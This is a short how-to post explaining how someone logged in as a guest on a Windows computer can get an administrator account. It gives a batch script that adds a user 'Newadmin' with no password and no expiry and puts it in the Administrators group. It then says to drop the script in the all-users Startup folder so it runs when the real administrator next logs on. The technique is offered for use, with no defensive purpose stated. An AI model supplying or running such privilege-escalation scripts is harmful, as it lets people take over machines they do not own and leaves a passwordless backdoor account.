Using Guest Account Create An Admin Account

Step 1: Open up Notepad, copy and paste the following code into it and save the file as admin.bat. (You could actually give it any name, just make sure that the extension is .bat)
@echo off
net user Newadmin /add /expires:never /passwordreq:no
net localgroup “Administrators” /add Newadmin
Step 2: Copy the file to the Startup folder. Here is the path to the Startup folder:
C:\Documents and Settings\All Users\Start Menu\Programs\Startup
The next time the admin logs on into the computer, the batch file runs and the admin account is created. Once the admin logs off, you can log in using the username newadmin and without any password.
Remember that it wouldn’t take long for the real admin to find out that a new admin account has been created.